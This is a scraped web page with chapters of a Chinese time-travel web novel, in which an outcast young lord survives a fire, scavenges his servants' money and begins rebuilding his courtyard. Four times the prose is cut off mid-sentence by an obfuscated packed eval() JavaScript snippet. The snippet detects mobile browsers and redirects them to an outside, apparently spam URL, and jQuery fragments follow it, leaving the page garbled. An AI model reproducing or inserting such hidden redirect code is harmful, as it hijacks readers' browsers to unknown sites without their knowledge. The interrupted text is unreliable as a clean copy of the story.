;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12391140|129422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雲手里放了几块银子和一把钥匙,握住其冰凉的手,说:“这是这个月的例银,不用你去取了,另有一些米面给你留下。以后每月初一日辰时我在前院东库房等您,那会儿角门开着,从花园绕过来吧。这把钥匙是西墙刚刚开的小街门的,只有你有,要是出去置买东西,记得上锁。” 满院的狼藉在夕阳斜射出来的昏黄昏红的光里,好像披上了一层纱衣,浴着残败不堪的凌乱和破碎。 38.醒心 一 一 那天,林雲被冷水激醒后,看到阿土,那个聋哑儿,最后飞扑过来用自己壮硕的身躯把自己护在身下的可怜的人,仅仅因为自己为他付出了那么一点真情就奋不顾身地献出了生命,顿时犹如万箭攒心、痛不欲生。 他这个从后世穿越回来的人,他这个本该死掉的人,他这个受尽磨难却还要苦苦支撑的人,不由得痛恨起命运来,造化弄人,造化弄人啊! 阿土的死令载轩那些愁绪难平的记忆一段一段重又翻飞起来:想要努力去救的母亲林芳清、程建的无情、程一鸣的毒打、谭阿姨说我看错了你、没说再见的王敏、邻居的斥责、母亲那焚满了罪孽无奈的骨灰坛······那些痛苦的记忆在他脑海里沉寂了三个多月后,活了过来,死亡的阴影重又笼罩了他,痛得他肝肠寸断、椎心泣血。他一声复一声地哀嚎着,却难以将这痛发泄出来,他恨他自己,也恨无常的命运······ 林将军的姗姗来迟,他气势凌人的质问,他冷酷无情的怀疑,无一不让他又记起了程建,那次在富丽堂皇的别墅里发生的一切。原来父亲是这样的吗?都是这样的吗?他没有体会过父爱,他也没有拥有过父亲,对他而言,有和没有,此刻有什么区别呢? “父不知子,子不知父,私相厌弃,决绝而已。”这句话是他偶然一次在图书馆看书时拾得的一句,当初他还满抱着一颗对父亲这个词的美好期冀,会想什么样的人能说出这样绝情的句子呢。全然没有料到,是自己应验了这句话,是自己领悟了这句话背后深深的心碎和绝望,是自己亲手打碎了心底里对父亲形象的想象,是自己毁掉了对建立亲密关系的那点渴望。 罢了,罢了。 这把火,烧得好,烧尽了奢求,烧尽了无望,烧尽了谁都不被谁爱的真相。 林雲望着这一院的狼藉,也无心去收拾。可自己的卧房已被烧毁,书房里也是被水泼得湿淋淋的。正房他占了靠东的三间,而西面是他母亲吴小娘的房间,自她去世后,林将军命人上锁,不许人进去。临近入夜,他没有地方可待,又饿又累了一整天,他现在急需躺下睡一觉。 于是他找来了一把榔头对准锁头,用力砸了下去。推开门,地上积了厚厚一层土,屋子空空的,厅堂除了两张木椅和一张方几再无他物,西面的卧房里和他的屋子差不多,一方木床和罗汉榻而已,另一间屋放了纺车、纺锤、织机和一些做女红之物。这三间陈设简单,朴朴素素,大概值钱的东西早被人卷走,他们之前不受宠,哪还有什么好东西留着呢! 好歹有了住的床铺,他仅有的东西和衣服都在东卧房里被烧光了,连换洗的衣服都没了。他只好跑到肖峰原来住的屋子里,翻找出几件肖峰以前的旧衣服,肖峰和他身形差不多,再加上古代的衣服大多宽大。他换洗过后,把头上的伤口简单处理了一下,就窝在吴小娘那张床上睡了过去。那张床上也空空如也,他把肖峰以前用过的褥子、枕头和被子搬了来,上面很久没有人睡过,发出一股难闻的味道,可也只能将就着用用,不然就得睡在硬木板上了。 他就这样浑浑噩噩了过了好几天。 南房最边那间房里,还有口破锅和几个破碗,他自己用废木棍搭了灶,每天煮点粥喝。无事时就窝在床上睡觉。好像疲累似的,一躺下就睡过去了,会做很多梦,那些梦里一会儿是现在的情景,一会儿又回到了当代,有阿土,有肖峰,有林将军,还有林芳清、程建、王敏、杜明,混杂在一起,令他难以分清是现实还是梦境,醒来却都是孤寂冷清的一个人。 这夜,天降暴雨。隆隆的雷声一声响过一声,闪电带子似的划过夜空,发出刺眼的一瞥,一阵猛劲的风刮开了吴小娘这间屋的窗子,可能年久失修,那扇木窗子被风吹得先是朝里来回开合,发出哗啦啦的声响。霎时惊醒了林雲,再然后,风刮进屋子里,本就不多的家具,难以阻挡风的摧枯拉朽,他的头发被吹得四散,闪电一瞥他犹如妖魔一般的影子印在墙壁上,都令他心惊,他努力蜷缩紧身体,风却要把卷走一般,拽着他扯着他,一点点把他拉离了原来的位置。那两扇窗子已被风卷走,厅堂两扇门虽然有门闩插着,却也在吱呀作响。 他第一次这么怕,外面风雨大作、雷声阵阵,空寂的屋子发出无数可怕的声响来,他怕到心都在抖,浑身战栗着,即使用破被拥紧身体,还是感到无处不在的冷侵肤浸骨,咬着嘴唇的脸上已经挂了几行泪。突然间,前几天起火的那几间屋子在风雨下轰然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12391141|129422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒塌,发出轰隆的声音,房檐连瓦并着东边也塌了一角,又倒了一根廊柱。他很怕,自己住的这间也不安全。 他想到了求助,想到了这么大一处宅院,总有人会帮他的吧。他趿着不合脚的肖峰留下的一双布鞋,慢慢挪到门口,刚取掉门闩,风便把门猛的吹开了,他站在门后,猛不防被吹得后退好几步。 刚顶着风雨站到院子里,自己原来的那间厅堂的屋顶就全塌了下去,连带着书房一角也塌陷了下去。东面一排带着院墙已经塌的不成样子,完全没有了房屋的形状。雨水把他浇透了,水流顺着头发一条条地淌,他和那个挨完毒打的雨夜里的林载轩同样狼狈。不管了,他不要什么脸面,不要什么尊严,他在这个无助的雨夜里,急需出现一个人来拯救,是谁都好,只要别把他一个人扔在这里,只要不把他抛下等死。 他奔到门口,拉开院门,跑到角门那儿大拍着门,哭喊着。可他的那点声音被纯自然的原始之力淹盖住了。他哭了又哭,喊了又喊,没有人出现。 他像被全世界遗弃了一般,无奈地捂着惊惧万分的胸口踱回了屋里。几乎一夜不曾合眼,黎明时分,风停了雨息了,他才蜷在床上一角睡着了。 第二天,花园里的老胡头发现了偏园的东墙倒了,偏院里也毁得七七八八,赶紧回禀了大娘子和林将军。林将军这次没有来,只是吩咐明老先把墙砌起来,把倒掉的砖石搬走。林将军在等,等林雲低头服软。 林雲醒来时,听到院子里人声喧沸,却无人来照拂自己。 最害怕的时刻过去了,他挺过了最难熬的一夜,他觉得不再需要他们来拯救了。人,只有自己可以救自己,不要把希望放在别人身上。是他这一夜最痛彻心扉的领悟。 所以他没有起来去看院子里如何,昨夜里那些东倒西歪的残垣断壁如同一只只张牙舞爪的怪物,在闪电下伸出无数獠牙触手,似乎要舞动着吃掉他、撕碎他,但他目视着它们,害怕地躲回屋里去了。那些怪物现在没能伤害他,那么以后也将不会了。 他只是觉得自己可笑,昨夜里竟又痴痴的想要“他”来救自己于无助之中,明明已被背弃了,却还在妄想,他想:以后再不要想“他”了,不要再残存希望了。 39.醒心 二 二 一切皆是命,半点不由人,万般皆是心,点点皆由人。 林雲在一片嘈杂声中又睡着了,外面的声音好歹在提醒他,这世界不是仅剩他一个人,虽然他们不在他的身边,但起码他感受到自己还活在人群里。 他记得,林载轩没有昏过去前,那么几天都是他一个人,陪着他的是母亲的骨灰坛。他来来回回的发烧,烧得最厉害的时候已经快到四十度了,他只能自己硬撑着倒杯水喝颗退烧药,然后窝在被子里等着满身大汗,继而再烧起来继续上面的循环。他感到了从来没有过的孤独和无望,好像被全世界抛弃一样,他万分渴盼人的气息,渴盼着自己活在熙熙攘攘的人群里,哪怕没有人注意到他,也好过在那空寂的屋子里独自受煎熬。现在他有了同感,这么几天下来,尤其是昨天的雷暴夜里。可是仍旧一同原来,他没等到什么,也等不到什么。 他突然如梦初醒:能救你的人,只有你自己。 他这次他梦到了自己,梦到林载轩浅浅的一笑,“会好的,会好起来的。” 只要自救,就会好起来的。 已近半夜,林雲才因为肚子的抗议醒过来。院子里静悄悄的,大雨洗清了漆黑的夜幕,使得朗月高悬、群星闪耀。他从没有见过这样多的星,一颗颗亮晶晶的,真的如同作文中所写的“如宝石镶嵌,如珍珠铺陈”。在明皓的月光下,他看到东墙边的狼藉已被收拾干净,那一片房屋都不复存在,沿着偏园与花园的东界线又砌起了一面高墙,与原来的墙面相连,把偏院与林府其他区域隔绝开来。 不过他不在乎了,如若架起心墙,那会比一堵砖石所砌的墙更为密不透风。 他取出那口破了一个角的铁锅,又拾出几根粗木柴来,架起一个简易的灶,开始煮一点米粥喝。原来堆在东边柴火房的东西和小厨房烧了个干净,现在业已被府丁们收拾地干干净净,而正房倒座的最边上那间小南房里也只有些破烂的杂物,想要好好生活,看起来很难很难,就连日常所用的茶壶、水杯、干柴、灶具都没有了。 他不由得有些发愁。 如果没有这一场火,兴许趁早赶走那两个恶仆,和阿土两个人就点月钱也够过活了。而现在所住的屋子也破旧不堪,不把正房东边塌掉的部分重新修筑好的话,整排房子都不安全,说不定什么时候就会遭殃,南房一般都住仆从,虽没了他们,但总不至于住到下人房去吧!还有换洗的衣服都是捡肖峰原来穿过的,自己只有那天从火里跑出来穿的一身内衣,也将就下去吗?总得吃饭,得有柴,得垒个灶,还得有碗筷,各种厨具。现在有些米面,可也不能每天只能馒头、喝粥啊,菜从哪里来,水果呢,肉呢。这三四个月来因为受她们的虐待,自己都觉得瘦了许多,虽说不像自己后世那会儿那么形销骨立吧,但也有些枯瘦羸弱,不好好吃饭,岂不是又要走老路子?现在被关在这里,要是病了,可估计没有像肖峰那样忠心的人去请······ 想到这里,不免又厌恶起自己来,说了不要再想着依靠别人的。他边喝粥边思考起这些生活中的难题来。 首先得有钱,可是几两碎银,大概在哪个朝代,也就是刚刚够半月一月的生活费吧,估计也置办不了多少东西。没有钱,等着慢慢攒钱再去修缮屋子,都不知道能不能挨到过冬,况且还要吃饭烧火。果然还是长在红旗下好啊,起码还有菜叶子可以拾,几块钱就可以买一把挂面吃好久,还可以出去打工赚钱。在这里,自己不熟悉朝代特征,也没有深入了解民情民生,尽管努力搜肠刮肚地回忆之前所学,但史书上凤毛麟角的记载,终归不能应用到生活中来。 他突然想起了,肖峰原来说过,这院里是赖大娘总管,他的银钱也都是赖大娘收着。赖大娘和杏萍再没有回来过,想必是不会再回来了,而且也没有人来替他们收拾东西。肖峰被拖走后,赖大娘进了他的屋好一顿搜罗,把些值钱的都和杏萍两个分了,就剩些脏衣旧裤还堆在箱笼里,都没人给肖峰捎过去。 也不要管什么道德不道德了,干脆也学着赖大娘他们,去搜罗一番。那天他冲进赖大娘和杏萍的屋子里,看到床铺齐整,就想到了大概是有人故意纵火,是要害命还是只惹事、是合谋还是一个人的主意还是背后有指使他尚不能推断清楚,但有一点很明白,那就是杏萍和赖大娘是铁了心要离偏院的。况且,那天父亲与他对峙,杏萍一口咬定是他唆使阿土纵火,阿土哑巴且已死,父亲不信他,自己百口莫辩,这种栽赃发生在他身上已经不是第一次了。就算吞掉那两个恶仆的财物,虽不义却有种报复的快感。 说干就干,他借着月光在赖大娘和杏萍的屋子里翻找起来。果然,杏萍应当是主谋了,除了几件旧衣物外,钗环首饰乃至鲜亮衣服通通不见了,更不要提什么银两。而赖大娘的东西倒还很齐全,没见提前拿走什么。在炕上柜顶的放着赖大娘一些精美耳饰的小匣子的隔层里,他找到了一小包银子,又在赖大娘的衣袱包里抖出来一包好重的银两来。他不确定自己究竟搜刮来多少钱,但应该也不少,加上那些金银首饰,所得也颇丰。 但他又想,万一赖大娘还回来怎么办,又去告状,说是拿了她的财物可怎么好。不过话转回来,他已经在父亲面前是个不好的形象了,什么性子乖戾、目无尊长、纵奴行凶,再加上唆使纵火,大概率即使这些东西不拿,赖大娘也会恶人先告状,说是他贪了东西,甚而更可怕的会说他劫色贪财两不误吧。想到这些,他又逞了胆子,干脆一不做二不休就是贪掉好了,已然当了别人眼里的恶人,何必还要苦心劳力的当“道德摸范”? 回到自己屋里,他把那些东西裹在了肖峰的两件破衣服里,搁到了十分隐秘的地方。又转而去了阿土的屋子,那间屋的东墙已经烧黑,窗户也烧掉了,里面混合着焦糊味、土腥气和男人的汗臭味,他刚一踏进去,就想起了阿土,想起他那憨憨的笑和壮硕的身躯,想起两个人洗头时互相泼水玩闹,想起阿土俭省下咬了一口的馍馍给他,鼻头有些酸酸的。是阿土救了他的命,是阿土换了林载轩重生的勇气。 不过阿土也就几件旧衣服,还有些七零八碎的小玩意儿,装蛐蛐儿的小笼子、一把木梳、一个桃心木锁、三四个玻璃球珠······他把那些东西笼在没有熄灭的火堆里,烧给阿土,让它们去伴阿土。 白天睡得很足,这会儿也不再有睡意。他干脆干起活来。 他把那几件房里的东西归置后,没什么用的都放在火堆里烧掉了,包括杏萍和赖大娘那些女人衣裳,有用的生活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12443481|129422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用品就留置出来,去园子里的水井打了好几桶水来,将能用的铜脸盆、大木盆、条凳、梳子、盆架和一面铜镜等物认认真真地涮洗了几遍。而那两个女人的梳妆用具他要待第二天去把它们卖掉换钱。直到四更天时,他才忙活完,把那三间屋子打扫清除得一干二净,都成了空屋子,两张旧木桌和几把椅凳、还有些放衣服的木箱笼也都用斧子劈成了一根根木柴,以备烧火用。而原来放杂物的那间屋,也把可换钱的物品堆在了院门旁西墙边,其余的东西分门别类有序摆置了起来。 林雲看着自己的劳动成果还是蛮有成就感的,原来这副娇嫩的身躯干起活来也不逊色嘛! 躺了一个多时辰稍作休息后,他复又起来打来水,将自己住的这间西卧房清扫了一遍,地下泼了两遍水,用杏萍和赖大娘发黄了的薄被褥在地下擦洗过后,果然一尘不染了。那些破被褥他还有用,等到自己洗澡时,铺在地下,还可以防止水溅得到处都是。 原来书房里那些东西,他也一一做了整理。有些书本当初救火时都淋湿了,黏在一起,字迹都糊了,他也就都处理烧掉了;还有些能看的,以及一些纸笔墨砚,他都归拢到一个书箱里,放在了小娘屋的套间里。书房的槅门有些歪扭了,倘若这边再不大修,真的是岌岌可危了。 做完这些已日上三竿,他去烧了水,要好好洗个澡方能出去见人。 他锁上小街门,衣衫里就装了一小吊钱,那也是从赖大娘的箱子里找到的,来到了宁安街。他还没有出过偏院,不免对外面的世界又好奇又有些胆怯。走过林府大门时,他还以为是哪家的府门,好气派好富贵的。 当然他并不知道自己的父亲就是“孟义侯”,也不知道这么一座大侯府也是他的家,他被局在那么一个小偏院里,全然不知林府上下鎏金溢彩、个个明服显贵。 又沿着宁安街走了三四里,路过两座公府后,向左一转,是一条热闹的小街巷。两边宅铺相接相连,院落高低参差,鳞次栉比,不似宁安街上都是些大宅院落,彼此不亲近。且能听到许多商家店铺的叫卖吆喝声,还有不少推着板车、平车卖货的小商贩,俨然是集市模样,和现代的许多市场很相似。街上人来人往,但大多是男性,有着华服贵冠的,有穿圆领布帛宽袖长袍的,有头戴儒巾、身披鹤氅的儒士,更多的是也有和他一样装束的平民,只穿着褐色或素色的短襦袄,下着长裤布鞋。而有些女人一看便是贫苦百姓,穿戴远不如杏萍和赖大娘,衣衫破旧,头面朴素,不是抱着孩子提篮卖物的,就是脚步匆匆的置买生活用品的,甚而还有跪地乞讨的。另一些女子,身旁两三侍女,身后还有护卫,面蒙轻纱,手撑轻伞,步履轻慢,娇娇娆娆,一看便知是富贵人家的小姐夫人。 他瞧了半日,又往前走了三四里拐到了东京府最长的中阳大道上,又是另一番繁华之景,府衙朱门眼不错就有一座,酒肆青楼凤箫声动,欢声笑语、高谈阔论随耳听闻,宝马香车、玉树暗香来往不断,却无甚贫民所见。 他又回了刚刚那条街巷,比较了几家卖布匹缎子的铺子,他手里的钱只够买匹粗布的,故买了一匹素色粗布,剩余几文,买了两个饼子满足下肚子。久旱逢甘霖,胃里吃下了几个月来较好的一餐,他很满足地回去了。 40.醒心 三 三 “流波将月去,潮水带星来。” 回到偏院里,已见疏月半悬,繁星点点了。 下午又走了许多路,林雲已经倦得眼皮都抬不起来了。 可他还不想睡,下午的见闻让他内心新奇兴奋得很。眼下躺在没有窗户封闭的屋里,一睁眼便是外面寂静的夜色,不自觉的想到了这句诗,原来古时候的清风明月确实令人动心,怪不得有那么多文人雅士写出的诗句曼妙精彩。 自己这条命好容易又捡回来,以后不该辜负自己,也辜负了为他牺牲的阿土,要好好生活,好好地过日子才是。他在慢慢地盘算着自己的银两和接下来要做的事,就在这盘算中一点点困意袭来,使得他安睡在这静谧中,安享一分宁静祥和。 第二天他又往南边和西边探了探。往南走是一些商铺和驿馆,因为紧邻南城楼,好多外地来的商贩也会从南面进入京城,这里云集了好多药材、木材、杂货的批发商品,且要比城里卖的还便宜一些。他通过观察别人如何谈价交易的过程,跟着以较低的价格购置了一些生活用品。 往西北方向去路过几户人家后即是上了祺云山的路,这边没有什么关卡哨岗,两旁树木参天,森碧幽深,一片林子连着一片林子。山脚下仅有几家老贫村民居住。他与两位看林的老人攀谈得知,山脚下绵延数百里的林子都是隶属虞部管辖范围内的官林,不能随意砍伐的,有京都的林官王大人主管。过了林子再往西走,有条河沿东京府而过,一径往东去直至东海。而西面的林子里也只有一个古村落,现今人口不多,多是看林护林的人住着,壮年劳力都到京城里寻了生路。 祺云山相比周围地势高一些,但地处平原,山势不险,几重层峦叠嶂,把京城护卫了起来,以免金人直击城下。远远望去,连山起伏,攒聚青翠,苍郁蒙蒙,雾烟蔼蔼。 这两位老人看到他的穿着,只以为他也是个贫苦人家的孩子,还指给他,哪一片林子里榆柳高大,常有些枯枝落木可以捡回去当柴火,哪里有野生的蘑菇、鲜嫩的野菜可以采。当老人问及家中情况时,他只说了自己丧母独居,并未说及其他。老人看其可怜,甚至还要引荐他也做护林员,每月有一吊钱的银子可以拿。他拒绝了,自己的姓名,恐怕不可告人,否则自己也知道是在给父亲脸上抹黑,当真是不可饶恕了。 辞别了两位老人,他向林子里探去,在深不可测的广袤的森林里,他只敢在边缘地带穿梭。阳光透过密匝匝的叶林倾泻在泛了青苔的地上,顿时成了菱形、方形、各种不规则边际的亮块,还有各种鸟叫的声音,叽叽啾啾、唧唧哩哩、喳喳嘎嘎,夹带出了一种森林里的幽邃和暗恐来,惹得他起了一层鸡皮疙瘩。他也不敢久待,捡拾了一堆枯木,用一根细藤条捆扎实了,背着出了林子。 他几乎每天都出去,现在没了各种规矩教条和家长的约束,反倒更自由了。 当然他每天也有收获,不仅买了许多自己生活所需,而且他慢慢地和那两位老人熟络,学到了不少东西。他也在一点点修缮自己的小院,努力让小院有了生气。 天气逐渐炎热,眼看到了芒种。 绿树晚凉鸠语闹,画梁昼寂燕归迟。 他从南边买了些花种和菜种,院子里还需收拾,所以他把偏园中废弃的大部分地方都除了一遍草,又松了土。按照那两位老人所授,也在园子里用一些砖块隔出七八块四四方方的苗圃,兢兢业业地把那些菜种种下去,期待着小菜苗的发芽、生长,毕竟父亲不许供给他除银米以外的物品,只有自己把自己养得结结实实的,才能更好地一个人生活下去。 他把那些牡丹、茉莉花种养在了四五个大花盆里,生活既要填饱肚子,也要更好地享受美好的事物。 当然他刨起了靠东墙地上残留的砖石,原来古代建屋还是胶泥用得更多一些,不常用水泥,那些砖石也很轻松就撬起来了。他把阿土那间屋里的土炕砸掉,地面和墙面重新用水泥加固了。生石灰好贵,他也不舍得多用,只是根据以前工地做工学到的,按比例将地面和墙面弄平整后,用那些相对完好的砖块砌了一口土灶。这口灶算是解决了他生活中“吃”的一大难题,他学着以前母亲教他的,蒸馒头、擀面条、蒸米饭,算是过上了顿顿能吃饱的日子。 不舍得请木匠来做厨柜,他就只好买了一些便宜的木材,一根根地拖抱回来,开始自己学着做木工,可惜,那也是件难事,他费力一上午都没能将一根圆木肢解开来。 第二天便到了五月初一日,是他例银的日子,只有初一日早上会打开角门许他过花园和前院去。 这大半月算是忙坏了他,既要出去采买物品、学习人物风情,还要去拾柴、收拾院子做工、浇菜地,虽说忙碌,可他的心里务实安定,不似之前压抑不得疏解。人虽消瘦,脸色却有了红润之气。 但无论怎么说,他要穿过花园去领东西也是不容小觑的难事。因为他,林载轩的魂魄回到林雲身上以来,还没有到林府里去逛过,这些日子外面出得去,倒是自己的家无比生疏。 早起看到外面下着淅淅沥沥的小雨,天色还很阴沉,一大团一大团的乌云,还在风中不断漂移着,似乎随时还有下大的可能。他带着斗笠出了门,赶早摸索着去找明宅老。 角门确实已经开了,一个花白头发的老翁等在角门所对的垂花门那里等着他。见了他慈和地问好,他有些尬意地躬身回礼道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12505636|129422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “您老也早上好。”府中人他几乎认不得几个,这路他也不熟,只好又笑着问:“您老可否为我引路去找明宅老,我去领例银。” “不敢不敢,四少爷,我这里还得守着园门,老爷吩咐过,不许任何人到您院里去。” “那您老可否为我指指,从哪里走好呢?我被禁足多时,都忘了该怎么到管事院去。”林雲又很勉强地挤出一丝笑来,带些请求的意味。 老人也带着一顶大斗笠,皱着一脸的沧桑,无奈地看了林雲一眼说:“您顺着这条大路,一直走,往东走到头穿过一溜满月门后,向南再出了垂花门拐到右手一道直径上,路过三个院子,进了西面的南便门后就是下人院,到了那儿离着管事院就不远了。” 林雲听得迷迷糊糊,可也不敢再打听下去了,漏了馅自己也圆不了谎。 雨下个不停,花园里被水汽氤氲的一片朦胧,可也挡不住葱茏的绿意,这条大道虽弯曲却比通幽曲径还省些脚力,饶是这样,地面湿滑,他走了好久才走到老胡头所说的下人院。进去后,几个青壮府丁还在冒雨忙碌,见了他,先是一惊,后有人就打千问起好来,他便也谦虚地回礼,他并不懂这里到底要用什么礼数,就按着现代的规矩微一低头微笑还礼算数。 可是,角门只开一个时辰,他要尽快地领到东西好回去。他凑近一个府丁问:“管事院从哪儿走?我找明宅老。” 那个府丁当日救过火,也着实可怜有些瘦弱又屡屡遭罚的四少爷,便引着他穿过西便门和东便门绕到了管事院。还不等林雲道声谢,那男子掉头捂着头顶跑回去了。 他进到这间有十几间屋子、比自己偏院大两倍的院子里,竟一人未见,屋里也悄然无声。他只好一间一间地敲门询问,到正南带三件屋时,明宅老浑厚的男音才说道:“进来吧!” 他拖着一身的雨水推开格栅门,进屋前还不忘抖落斗笠上的水,见到左手屋里的大案几前坐着须发横眉的明宅老,正低头核算账本,右手屋里有四条长案几,分对坐着三个中年总管,都在忙手头之事,还有一个位子空着。 他有礼貌地问:“明老早上好,我来领这个月的份例。” 明总管早就注意到了布衣布鞋毫无少爷之姿的林雲,抬起头表情略耐人寻味地盯着他看了几秒,严肃地吩咐另一个分总管说:“给四少爷领取本月份例。” 从长案几那边站起一个身着白衣襕衫的人,用襻膊挽起宽袖,露出了壮硕的两节燕麦色小臂,较恭谨地低头应到:“是,四少爷请随我来。” “不要忘了你是谁。”林雲临出门前听到明总管语气很硬地丢下这一句,他没有应话,低着头跟随前面那位分总管去领东西了。 41.醒心 四 四 林雲费力扛着两小口袋小麦粉和稻米穿梭在雨幕里回到了偏院。到了角门处,又碰到了管花园的老胡头,老人暖心提醒道:“少爷,快回去吧,雨又大喽。” 他记着肖峰以前说过,花园东南角有座藏书阁,收藏了不少书籍,可以去借读,到期得还回去。他想借两本书来看看。于是他疾步折回到角门处,见老胡头马上就要锁上,恳求道:“您能让我去趟藏书阁吗?就一小会儿!让我去借本书看看!” 老人用手扶了扶戴在头上的斗笠,抬起眼透过角门的一条缝,看到林雲浑身湿透了的样子和恳求的眼神,有些为难地说:“老爷只许开一个时辰,这都快过了 。” “我快去快回,很快的。”林雲继续用手扒着角门那一寸宽的缝隙说道。 老胡头犹豫了一下,还是打开了半扇门,让他过去了。 林雲快步跑向前,脚步在哗啦啦的雨水里杂沓匆忙。 到了藏书阁,敲了好半天门,才有一位冉须鬓眉的瘦高老人打开门,问他:“来看书吗?” “我想借一本书回去看,行吗?”林雲被让进去后,脱下斗笠,浑身往下淌水,他的布鞋早已湿透,走起来“啪叽啪叽”直响,就站在门里,不敢往前走。 眼前这位老学儒曾是林老夫人在林将军幼年时专门延请的业师,自夫人去世后,就继续留在了林府,做了藏书阁的管事,吃住都在这里。老学儒本姓姬,单字珂,表無阆,原是荆州人氏,考了半生科举只得了个廪生,后夫人不幸病逝,穷困潦倒,幸而林老夫人看重,不然以老学儒刻板木讷的性子得流落街头了。现老学儒只是孤身住在藏书阁里,终日与书为伴,只在吃饭时才出去到前院的下人院一趟。人们都称他为“姬老”,平素里对府中发生的大小事情不甚上心,就几位主子认个脸熟,林雲也只是去借过一两次书,他对四少爷没什么印象。 藏书阁虽说收藏了不少书籍,可大多是一些流传颇广的手抄本,私人藏书并不多。林雲看到大约两百平米大的藏书阁里一层二层都是一排排的书架,有的架子上还空着,有的也只是平放着一两本,今日阴雨天衬得里面更加昏暗了,空气里飘忽着若有若无的一股霉味和墨香。姬老闲来无事,已经分门别类地把书归置好,方便查阅和借读。 “我想借本有关木工的书。”林雲看着那么多架子书,有些茫然。更何况,自己都湿了,别再弄湿了书本。 姬老的背上已经有了驼峰,一走路有些蹒跚,头一点一点的,打量了一番林雲,面无表情地说:“只有主子能借出去。” 林雲不知道如何开口了,直接告诉眼前的老人自己也算主子,是四少爷吗?还是说自己叫林雲,是林将军的四儿子?若是外人看来,的确他的穿着打扮也不像个主子。 他自苏醒后,一直有块平安佩挂在脖子上,藏在内衣里不示人的。那块玉比铜钱略大一圈,青翠温润,内蕴精光,质厚柔滑,一看便知是块好玉。玉的背面刻着篆书字体“永祐林氏”,肖峰告诉过他,这是自他出生后父亲特意为他求来的护身玉,家中公子一人一块,玉都是开过光的,一直贴身佩戴,平日不许摘下的。 这算是那日大火后他身上唯一的财物了,这也是他身份的唯一象征了。 他从内里伸手取出玉来,系的丝线已经发了乌、磨起了毛,正准备从头上取下时, 老儒开口道:“不用取了,我眼神还济事,既是少爷,何至于如此落魄呢?” 他又把玉塞了回去放好,没有吭声。 老儒挪动着身子,走到最靠西侧紧里面的一排书架翻找了半天,拿出一本发黄的古旧的《鲁班经》来,又蹒跚着走回来放在门口旁侧的书案上,从抽屉里取出一厚本册子,翻到了一页紧接着前面写满了字的空白处,说:“来,记录一下。” 亏得林载轩以前跟着母亲练过几年毛笔字,还写得了字,不然就要出丑了。可这么多天几乎没怎么拿过笔,刚刚他又淋了雨,手冷得发颤,心里实在忐忑,怕是写不好,会被老儒笑话。 于是他把右手先捧在嘴边哈了哈气,暖一暖手指,才从姬老手中拿过这支细长羊毫来,又参照了下前面的字体大小和所记内容,提笔记下: “大中祥符四年四月初一日,借《鲁班经》一本,欲于下月初还。喏不毁片字,完好保存。” 果然很久没写字,前面几个歪歪扭扭,胳膊又是悬空的,落笔着不了力。 老儒看完记录文字,皱皱眉头说道:“少爷还需刻苦用功才是,勿要辱没了将府门楣。” 他脸上也略有些发热,很不好意思地回道:“多谢您,我会好好读书的。” 他将书用牛皮纸裹了,塞在怀里,辞了老儒,又往回奔去。 他白天里,开始着手重筑正房那两间塌掉的房子,晚上便点了蜡烛,将那本鲁班经工工整整地抄在另一册白本里,以便慢慢习学。 他算过了,赖大娘留下的银子大概有一百三十两,那些首饰、女人衣被当掉后所得十五两四百钱,建屋若是找工匠来,加上木料砖石等使费,是远远不够的。况且这么大的屋,光料钱也得至少一百两银子。他已经花了十多两银子用于置办生活所用物品,况且自己也只买了布匹,那几天研究了肖峰的旧衣服,自己缝制了两件衣服替换穿,已然很俭省。每月还可以领到例银二两,米面是管够吃的,可菜蔬油盐现在还需购买,每月的那点银子也只够吃饭所需,再攒不住的。所以他只好自己上手,用以前的经验来试着架梁垒墙。 原来生活还是很难的,柴米油盐酱醋茶,哪一样都得操心。想想以前衣来伸手饭来张口的日子,甚至还有点怀念,不过现在是自己动手丰衣足食,努力让日子过得更好,劳累归劳累,每天起来却是有了十足的盼头和干劲儿。 